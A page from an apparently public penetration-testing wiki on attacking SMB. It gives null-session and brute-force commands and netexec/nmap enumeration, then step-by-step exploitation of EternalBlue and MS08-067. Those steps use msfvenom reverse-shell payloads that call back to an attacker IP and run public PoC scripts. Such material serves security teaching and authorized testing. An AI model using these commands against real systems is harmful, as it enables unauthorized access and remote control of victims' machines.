Infiltr8: The Red-Book
Infiltr8ForumGitHub
  • The Red-Book
  • Red-Teaming
    • Reconnaissance
      • DNS Enumeration
      • Subdomains enumeration
      • Email Harvesting
      • Host Discovery
      • TCP/UDP Service Scanning
      • Vulnerability Scanning
      • Google Dorks
      • GitHub Recon
      • Files Metadata
      • 🛠️Maltego
      • 🛠️Specialized Search Engines
    • Execution
      • Code & Process Injection
        • Loading .NET Reflective Assembly
        • Loading .NET Assembly from Windows Script Hosting
        • Process Hollowing
        • WndProc Callback Shellcode Execution
        • Fibers Shellcode Execution
        • Vector Exception Handler Shellcode Execution
        • NtQueueApcThread & NtTestAlert Shellcode Execution
        • Thread Pool Callback Shellcode Execution
        • Module Stomping Shellcode Injection
        • Remote .NET Assembly Loading through WaaSRemediation DCOM Abuse
        • 🛠️DLL Injection
        • 🛠️CreateRemoteThread Injection
        • 🛠️Reflective DLL Injection
        • 🛠️NtMapViewOfSection Injection
        • 🛠️SetWindowHookEx Injection
        • 🛠️PoolParty
        • 🛠️MockingJay
      • Code Execution
        • CMSTP
        • MSBuild
        • MSHTA
        • Microsoft Office Execution
        • Windows Script Host (WSH)
        • Outlook Home Page Abuse (Specula)
        • Powershell Without Powershell.exe
        • RegSrv32
        • Scheduled Tasks
        • Services
        • Windows Library Files
        • HTML Help Files
        • WMI
        • Script Exploits
        • 🛠️Sliver
    • Initial Access
      • Network Services
      • Password Attacks
      • Phishing
        • HTML Smuggling
        • Phishing with Calendars (.ICS Files)
        • Phishing With Microsoft Office
          • MS Office - VBA (Macros)
          • MS Office - RTF Files RCE
          • MS Office - Custom XML parts
          • 🛠️MS Office - Excel 4.0 (XLM) Macros
          • 🛠️MS Office - VBA Stomping
          • 🛠️MS Office - Remote Dotm Template Injection
        • 🛠️Phishing via Proxy
          • Adversary in the Middle (AitM) Phishing
            • EvilGoPhish
            • Evilginx
            • Muraena
            • Modlishka
          • Browser in the Middle (BitM) Phishing
            • cuddlephish
            • EvilnoVNC
    • Persistence
      • Active Directory
      • Windows
        • Accessibility features Backdoor
        • AEDebug Keys Persistence
        • Image File Execution Options (IFEO) Persistence
        • Logon Triggered Persistence
        • LSA Persistence
          • Security Support Provider DLLs
          • Authentication Package
        • Natural Language 6 DLLs Persistence
        • Run Keys Persistence
        • Winlogon Persistence
        • WMI Event Subscription Persistence
      • Linux
        • SSH for Persistence
        • GSocket for Persistence
        • 🛠️Udev rules
    • Defense Evasion
      • Endpoint Detection Respons (EDR) Bypass
        • Bring Your Own Vulnerable Driver (BYOVD)
        • Safe Mode With Networking
        • Windows Defender Application Control (WDAC): Killing EDR
        • 🛠️Load Unsigned Drivers
        • 🛠️Minifilter Altitude
        • 🛠️Hypervisor Code Integrity (HVCI) Disallowed Images
        • 🛠️Windows Filtering Platform (WFP)
        • 🛠️Userland Hooking Bypass
      • UAC Bypass
      • AMSI Bypass
      • ETW evasion
      • Living Off The Land
        • Windows Sysinternals
        • LOLBAS Project
        • File Operations
        • File Executions
      • Signature Evasion
      • Obfuscation
        • PowerShell Obfuscation
        • 🛠️Commandline Obfusaction
        • 🛠️PE Obfuscation
        • 🛠️String Encryption
      • AppLocker Bypass
      • Mark-of-the-Web (MotW) Bypass
      • 🛠️PowerShell Constrained Language Mode (CLM) Bypass
      • 🛠️Kill Windows Defender
      • 🛠️Virtualization-based security (VBS) Bypass
        • 🛠️Credential Guard bypass
        • 🛠️hypervisor-protected code integrity (HVCI) Bypass
        • 🛠️Windows Defender Application Control (WDAC) Bypass
      • 🛠️Sandbox Evasion
    • Discovery
      • Active Directory
      • Windows
        • System Information
        • Processes & Services
        • Scheduled Tasks
        • Installed applications
        • Network Configuration
        • FIle/Folder ACLs
        • Knowing your Shell
        • Security Solutions
      • Linux
        • OS Details
        • 🛠️Process & Services
    • Privilege Escalation
      • Windows
        • Tools ⚙️
        • Unsecured Credentials
        • Abusing Tokens
        • Insecure Services
          • Weak Service Permissions
          • Weak File/Folder Permissions
          • Weak Registry Permissions
          • Unquoted Service Path
        • AlwaysInstallElevated
        • AutoLogon Registry
        • Insecure Scheduled Tasks
          • Weak File/Folder Permissions
        • 🛠️DLL Hijacking
      • Linux
        • Kernel Exploits
          • OverlayFs Exploits
            • GameOverlayFs
            • CVE-2023-0386
            • CVE-2021-3493
          • CVE-2023-32233 (CAP_NET_ADMIN)
          • Dirty Pipe
          • 🛠️DirtyCow
          • 🛠️RDS
          • 🛠️Full Nelson
          • 🛠️Mempodipper
        • GLIBC Exploits
          • Looney Tunables
        • Polkit Exploits
          • PwnKit
          • D-Bus Authentication Bypass
        • Sudo Exploits
          • Sudo Binaries
          • Sudo Misconfigurations
          • Reuse Sudo Tokens
          • User Restriction Bypass
          • Pwfeedback BOF
          • Baron Samedit
          • Sudoedit Bypass
        • SUID Binaries
        • Script Exploits
          • Python
            • Pip Download Code Execution
            • PyInstaller Code Execution
            • Pytorch Models/PTH Files Code Execution
          • Ruby
          • Bash
          • Perl
        • Scheduled tasks
          • Cron Jobs
          • Systemd timers
        • Interesting Groups
          • Lxd
        • Capabilities
        • NFS no_root_squash/no_all_squash
        • Linux Active Directory
    • Credential Access
      • Password Stores
        • Windows Credential Manager
        • KeePass
        • Web Browsers
      • Unsecured Credentials
        • Credentials In Files
        • PowerShell Credentials
        • VNC Config
        • SSH Private Keys
        • Git Repositories
        • Veeam Backup
        • Network shares
        • Cred Network protocols
      • OS Credentials
        • Windows & Active Directory
          • SAM & LSA secrets
          • DPAPI secrets
          • NTDS secrets
          • LSASS secrets
          • DCSync
          • Kerberos key list
          • Group Policy Preferences
          • AutoLogon Registry
          • In-memory secrets
          • Cached Kerberos tickets
        • Linux
          • Shadow File
          • In-memory secrets
          • Linux Cached Kerberos tickets
      • MITM and coerced auths
      • Password Attacks
        • Default, weak & Leaked Passwords
        • Generate Wordlists
        • Brute-Force
          • Online - Attacking Services
          • Offline - Password Cracking
      • Impersonation
    • Lateral Movement
      • Port Forwarding
      • TLS Tunneling (Ligolo-ng)
      • HTTP(s) Tunneling
      • SSH Tunneling
      • DNS Tunneling
      • SMB-based
      • WinRM
      • Remote WMI
      • DCOM
      • Scheduled Tasks (ATSVC)
      • Services (SVCCTL)
    • Exfiltration
      • Exfiltration over ICMP
      • Exfiltration Over DNS
      • Exfiltration Over HTTP(s)
      • Exfiltration Over SMB
  • Web Pentesting
    • Reconnaissance
      • Subdomains enumeration
      • WAF Enumeration
    • Infrastructures
      • DBMS
        • Enum Databases
        • Read/Write/Execute
      • DNS
        • Subdomain Takeover
      • Web Servers
        • Nginx
        • Apache
          • Apache Commons Text
          • Apache Tomcat
      • CMS
        • Wordpress
        • 🛠️Joomla
        • 🛠️Drupal
        • 🛠️Bolt CMS
      • Frameworks
        • Spring Framework
          • Spring Routing Abuse
          • Spring Boot Actuators
          • Spring View Manipulation
        • Werkzeug
        • 🛠️Django
        • 🛠️Flask
        • 🛠️Laravel
      • CGI
    • Web Vulnerabilities
      • Server-Side
        • NoSQL Injection
        • SQL Injection
          • UNION Attacks
          • Blind Attacks
            • Boolean Based
            • Time Based
            • Error Based
        • Insecure Deserialization
          • .NET Deserialization
          • Python Deserialization
          • PHP Deserialization
          • 🛠️Java Deserialization
          • 🛠️Ruby Deserialization
        • File Inclusion & Path Traversal
          • LFI to RCE
            • PHP Wrappers
            • Logs Poisoning
            • /proc
            • PHPInfo
            • PHP Sessions
            • Segmentation Fault
          • RFI to RCE
        • Command Injection
        • Brute-Force
        • SSTI (Server-Side Template Injection)
        • Exposed Git Repositories
        • 🛠️File Upload
      • Client-Side
        • XSS (Cross-Site Scripting)
        • CORS (Cross-origin resource sharing)
  • Network Pentesting
    • Network services
      • DNS
      • FastCGI
      • HTTP & HTTPS
      • LDAP
      • NFS
      • MS-RPC
      • MSSQL
      • NBT-NS (NetBIOS)
      • Oracle TNS
      • RDP
      • Rsync
      • SMB
      • SMTP
      • SNMP
      • SSH
      • WebDAV
      • WinRM
      • XMPP/Jabber
      • 🛠️RPC Port Mapper
      • 🛠️FTP
      • 🛠️Telnet
      • 🛠️MySQL
    • WiFi
      • 🛠️WEP
      • 🛠️WPA2
      • 🛠️WPS
    • Bluetooth
  • Active Directory Pentesting
    • Reconnaissance
      • Tools ⚙️
        • PowerView ⚙️
        • Responder ⚙️
        • BloodHound ⚙️
        • enum4linux ⚙️
      • Network
        • DHCP
        • DNS
        • NBT-NS
        • Port scanning
        • SMB
        • LDAP
        • MS-RPC
      • Objects & Settings
        • DACLs
        • Group policies
        • Password policy
        • LAPS
    • Movement
      • Credentials
        • Dumping
        • Cracking
        • Bruteforcing
          • Guessing
          • Spraying
          • Stuffing
        • Shuffling
      • MITM and coerced auths
        • ARP poisoning
        • DNS spoofing
        • DHCP poisoning
        • DHCPv6 spoofing
        • WSUS spoofing
        • LLMNR, NBT-NS, mDNS spoofing
        • ADIDNS poisoning
        • WPAD spoofing
        • MS-EFSR abuse (PetitPotam)
        • MS-RPRN abuse (PrinterBug)
        • MS-FSRVP abuse (ShadowCoerce)
        • MS-DFSNM abuse (DFSCoerce)
        • MS-EVEN abuse (CheeseOunce)
        • PushSubscription abuse
        • WebClient abuse (WebDAV)
        • Living off the land
        • 🛠️NBT Name Overwrite
        • 🛠️ICMP Redirect
      • NTLM
        • Capture
        • Relay
        • Pass the hash
      • Kerberos
        • Pre-auth bruteforce
        • Pass the key
        • Overpass the hash
        • Pass the ticket
        • Pass the cache
        • Forged tickets
          • Silver tickets
          • Golden tickets
          • Diamond tickets
          • Sapphire tickets
          • RODC Golden tickets
          • MS14-068
        • ASREQroast
        • ASREProast
        • Kerberoast
        • Delegations
          • (KUD) Unconstrained
          • (KCD) Constrained
          • (RBCD) Resource-based constrained
          • S4U2self abuse
          • Bronze Bit
        • Shadow Credentials
        • UnPAC the hash
        • Pass the Certificate - PKINIT
        • sAMAccountName spoofing
        • SPN-jacking
      • Netlogon
        • ZeroLogon
      • DACL abuse
        • AddMember
        • ForceChangePassword
        • Targeted Kerberoasting
        • WriteOwner
        • ReadLAPSPassword
        • ReadGMSAPassword
        • Grant ownership
        • Grant rights
        • Logon script
        • Rights on RODC object
        • BadSuccessor (dMSA abuse)
      • Group policies
      • Trusts
      • Certificate Services (AD-CS)
        • Certificate templates
        • Certificate authority
        • Access controls
        • Unsigned endpoints
        • Certifried
      • Schannel
        • Pass the Certificate - Schannel
      • SCCM / MECM
        • Privilege Escalation
        • Post Exploitation
      • Exchange services
        • PrivExchange
        • ProxyLogon
        • ProxyShell
        • ProxyNotShell
      • Print Spooler Service
        • PrinterBug
        • PrintNightmare
      • Built-ins & settings
        • Builtin Groups
          • DNSAdmins
          • AD Recycle Bin
        • MachineAccountQuota
        • Pre-Windows 2000 computers
        • RODC
    • Persistence
      • Skeleton key
      • SID History
      • AdminSDHolder
      • GoldenGMSA
      • Kerberos
        • Forged tickets
        • Delegation to KRBTGT
      • Certificate Services (AD-CS)
        • Certificate authority
        • Access controls
        • Golden certificate
      • LAPS
      • 🛠️DC Shadow
      • 🛠️Access controls
  • 🛠️Cloud & CI/CD Pentesting
    • CI/CD
      • Ansible Pentesting
      • Artifactory Pentesting
      • Docker Registry
        • 🛠️HTTP API V2
      • 🛠️Kubernetes
      • 🛠️GitLab
      • 🛠️Github
      • 🛠️Gitea
      • 🛠️Jenkins
      • 🛠️Terraform
    • Azure Pentesting
      • Reconnaissance
        • Tools ⚙️
        • Unauthenticated Reconnaissance
        • Internal Reconnaissance
      • Movement
        • Credentials
          • Password Spraying
          • Token Manipulation
            • Pass-The-Cookie (PTC)
            • Pass the Certificate (Azure)
            • Pass the PRT
        • Aazure Resources
          • Key Vault
          • Storage Accounts
          • Virtual Machines
          • Automation
          • Databases
        • Role-Based Access
        • Conditional Access
        • Service Principals & Applications
        • Hybrid Identity
          • Password Hash Sync (PHS)
          • Pass-through Authentication (PTA)
          • Active Directory Federation Services (ADFS)
          • Seamless SSO
          • Cloud Kerberos Trust
        • Cross-Tenant Access
      • Persistence
    • GCP Pentesting
    • AWS Pentesting
  • 🛠️Smart Contracts Pentesting
    • Solidity
      • Vulnerabilities
        • Delegatecall Attack
        • Denial of Service Attack
        • Overflow & Underflow
        • Reentrancy Attack
        • Self Destruct Attack
        • Tx Origin Attack
Powered by GitBook
On this page
  • Theory
  • Practice
  • Authentication
  • Enumerate
  • Execute Remote Commands
  • Vulnerabilities
  • Exfiltration
  • Resources

Was this helpful?

Edit on GitHub
  1. Network Pentesting
  2. Network services

SMB

Pentesting SMB - TCP Ports 445,139

Theory

The Server Message Block Protocol (SMB Protocol) is a client-server communication protocol used for sharing access to files, printers, serial ports, and data on a network. It can also carry transaction protocols for authenticated inter-process communication.

SMB protocol operate on different ports depending on the type of communication:

  • Port 445 (TCP): This port is used for direct SMB communication over TCP/IP, including file and printer sharing, remote administration, and inter-process communication.

  • Port 139 (TCP): This port is used for SMB over NetBIOS, which is an underlying protocol that SMB relies on for name resolution and session establishment.

Practice

Authentication

Null session refers to an unauthenticated session established with an SMB server where the client does not provide any credentials.

#SmbClient
smbclient -U '' -N -L '\\<IP>\'

#NetExec
netexec smb <IP> -u '' -p '' --shares

The inclusion of Anonymous and Everyone access group in the pre-Windows 2000 compatible access group allow us to make an anonymous connection over SMB. Using a random username and password you can check if the target accepts annonymous/guest logon

#SmbClient
smbclient -N -L '\\<IP>\'
smbclient -U 'a' -N -L '\\<IP>\'

#NetExec
netexec smb <IP> -u 'a' -p '' --shares

Tools like hydra or nmap can be used to operate authentication bruteforce attacks.

# hydra
hydra -L usernames.txt -P passwords.txt <IP> -V -f smb

# nmap
nmap --script smb-brute -p 445 <IP>

Enumerate

Using nmap, we can enumerate sessions/shares/users/domains/groups at one time using the following command :

nmap --script="smb-enum*" -p 445 <IP>

Version & Configuration

Tools like NetExec can be used to enumerate supported protocols, dialects and signing configuration of SMB.

#Enum host with SMB signing not required
netexec smb 192.168.1.0/24 --gen-relay-list relaylistOutputFilename.txt

#Simply fingerprint SMB versipn
netexec smb <TARGET>

Tools like nmap can be used to enumerate supported protocols, dialects and signing configuration of SMB.

#list the supported protocols and dialects of a SMB server. 
nmap --script="smb-protocols" -p 445 <IP>

#Determines the message signing configuration
nmap --script="smb-security-mode" -p 445 <IP>

#Enum host with SMB signing not required
nmap --script smb-security-mode.nse,smb2-security-mode.nse -p445 192.168.1.0/24

Users

NetExec can be used to enumerate users over SMB.

# Enumerate domain users over \pipe\samr 
netexec smb <TARGET> -u <USER> -p <PASSWORD> --users

# Enumerate local users over \pipe\samr 
netexec smb <TARGET> -u <USER> -p <PASSWORD> --local-users

#Brute force RID using querydispinfo over \pipe\samr 
netexec smb <TARGET> -u <USER> -p <PASSWORD> --rid-brute 5000

nmap's smb-enum-users can be used to enumerate users over SMB.

#Try to enumerate users over SMB with null/anonymous session
nmap --script="smb-enum-users" -p 445 <IP>

#Or enumerate with a valide session
nmap --script="smb-enum-users" --script-args smbusername=administrator,smbpassword=mypassword_1 -p 445 <IP>

Groups

NetExec can be used to enumerate groups over SMB.

# Enumerate domain groups over \pipe\samr 
netexec smb <TARGET> -u <USER> -p <PASSWORD> --groups

#Enum local groups over \pipe\samr
netexec smb $IP -u $USER -p $PASS --local-group

#Brute force RID using querydispinfo over \pipe\samr 
netexec smb <TARGET> -u <USER> -p <PASSWORD> --rid-brute 5000

nmap's smb-enum-groups can be used to enumerate groups over SMB.

#Try to enumerate groups over SMB with null/anonymous session
nmap --script="smb-enum-groups" -p 445 <IP>

#Or enumerate with a valide session
nmap --script="smb-enum-groups" --script-args smbusername=administrator,smbpassword=mypassword_1 -p 445 <IP>

Shares

SMBClient is a native tool that allow us to interact with SMB shares. We can use it to list shares as follow

smbclient -U <USER> -L '\\<IP>\'

NetExec can be used to enumerate SMB shares.

netexec smb <TARGET> -u <USER> -p <PASSWORD> --shares

nmap's smb-enum-shares can be used to enumerate groups over SMB.

#Try to enumerate SMB shares with null/anonymous session
nmap --script="smb-enum-shares" -p 445 <IP>

#Or enumerate with a valide session
nmap --script="smb-enum-shares" --script-args smbusername=administrator,smbpassword=mypassword_1 -p 445 <IP>

One useful tool for enumerating SMB shares from a Windows host is net view.

net view \\<COMPUTER_NAME> /all

ACLs of Share's File/Folder

The smbcacls program allow us to get ACLs on an NT file or directory on a SMB file shares.

#File/Folder permission with anonymous/guest login (remove -N for password prompt)
smbcacls -U <USER> -N '\\<IP>\<SHARE>' <FILE/FOLDER Name>

If you see a lot off files and folders, the following commands will make a recursive permissions check on each item

#Mount the Share locally
sudo mount -t cifs -o username='USER',password='PASSWORD' '\\<IP>\<SHARE>' /mnt/Share

#Get all items
find /mnt/Share|sed 's|/mnt/Share/||g' > smb_items.txt

#Get all ACLs
for i in $(cat smb_items.txt); do echo $i; smbcacls -N '\\10.10.10.103\Department Shares' $i; echo ; done > smb_acls.txt

Sessions

NetExec can be used to enumerate active sessions and logged in users over SMB.

#Enumerate active sessions
netexec smb <TARGET> -u <USER> -p <PASSWORD> --sessions

#Enumerate logged-on in users
netexec smb <TARGET> -u <USER> -p <PASSWORD> --loggedon-users

nmap's smb-enum-sessions can be used to enumerate active sessions over SMB.

#Try to enumerate groups over SMB with null/anonymous session
nmap --script="smb-enum-sessions" -p 445 <IP>

#Or enumerate with a valide session
nmap --script="smb-enum-sessions" --script-args smbusername=administrator,smbpassword=mypassword_1 -p 445 <IP>

Password Policy

NetExec can be used to enumerate various objects over SMB like the domain password policy.

#Enumerate the password policy
netexec smb <TARGET> -u <USER> -p <PASSWORD> --pass-pol

Execute Remote Commands

Vulnerabilities

You may use nmap to scan target for SMB vulnerabilities

sudo nmap -p 445 --script="smb-vuln-*" <IP>

EternalBlue - MS17-010

Eternalblue is a flaw that allows remote attackers to execute arbitrary code on a target system by sending specially crafted messages to the SMBv1 server.

Windows Vista, Windows 7, Windows 8.1, Windows 10, Windows Server 2008, Windows Server 2012 et Windows Server 2016 versions using SMBv1 are likely vulnerable if not patched.

Tools like nmap can be used to detect the presence of the EternalBlue vulnerability.

sudo nmap -p 445 --script="smb-vuln-ms17-010" <IP>

NetExec (Python) can be used to check if the target is vulnerable to MS17-010.

netexec smb <IP> -u <USER> -p <PASSWORD> -M ms17-010

To exploit, we may use the Worawit PoC on GitHub

  • first, we have to edit USERNAME and PASSWORD at the begening of the zzz_exploit.py script.

  • Second, generate a reverse shell

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.14 LPORT=9001 EXITFUNC=thread -f exe -a x86 --platform windows -o pwned.exe
  • Third, we have to edit , he smb_pwn function in zzz_exploit.py. This is the action taken with the exploit.

smb_send_file(smbConn, '/home/v4resk/Documents/www/pwned.exe', 'C', '/pwned.exe')
service_exec(conn, r'cmd /c c:\\pwned.exe')
  • Fourth, trigger the exploit

#Exploit
python2.7 zzz_exploit.py <IP>

#Exploit on ntsvcs named pipe
python2.7 zzz_exploit.py <IP> ntsvcs

To exploit, we may use the helviojunior PoC on GitHub. He forked the worawit repo and added a single send_and_execute.py, which is really handy.

  • First, we have to edit USERNAME and PASSWORD at the begening of the send_and_execute.py script

  • Second, generate a reverse shell

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.14 LPORT=9001 EXITFUNC=thread -f exe -a x86 --platform windows -o pwned.exe
  • Third, trigger the exploit

#Exploit
python2.7 send_and_execute.py <IP> pwned.exe

#Exploit on ntsvcs named pipe
python2.7 send_and_execute.py <IP> pwned.exe ntsvcs

MS08-067

The MS08-067 vulnerability is a buffer overflow vulnerability in the Windows Server service.The vulnerability could allow remote code execution if an affected system received a specially crafted RPC request. On Microsoft Windows 2000, Windows XP, and Windows Server 2003 systems, an attacker could exploit this vulnerability without authentication to run arbitrary code.

Tools like nmap can be used to to detect the presence of the MS08-067 vulnerability.

sudo nmap -p 445 --script="smb-vuln-ms08-067" <IP>

To exploit, we may use the jivoi PoC on GitHub.

  • First, generate a Python shellcode and utilize it to replace the current one in ms08-067.py.

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.14 LPORT=9001 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows
  • Second, we have to guess version of windows and language pack. The exploit takes advantage of knowing where some little bits of code will be in memory, and uses those bits on the path to shell.

  • Third, trigget the exploit

#6 is for Windows XP SP3 English (NX)
python ms08-067.py 10.10.10.4 6 445

#4 is for Windows 2003 SP1 English
python ms08-067.py 10.10.10.4 4 445

Exfiltration

Resources

Last updated 7 months ago

Was this helpful?

SMB-based
Exfiltration Over SMB
HTB: Legacy0xdf hacks stuff
Logo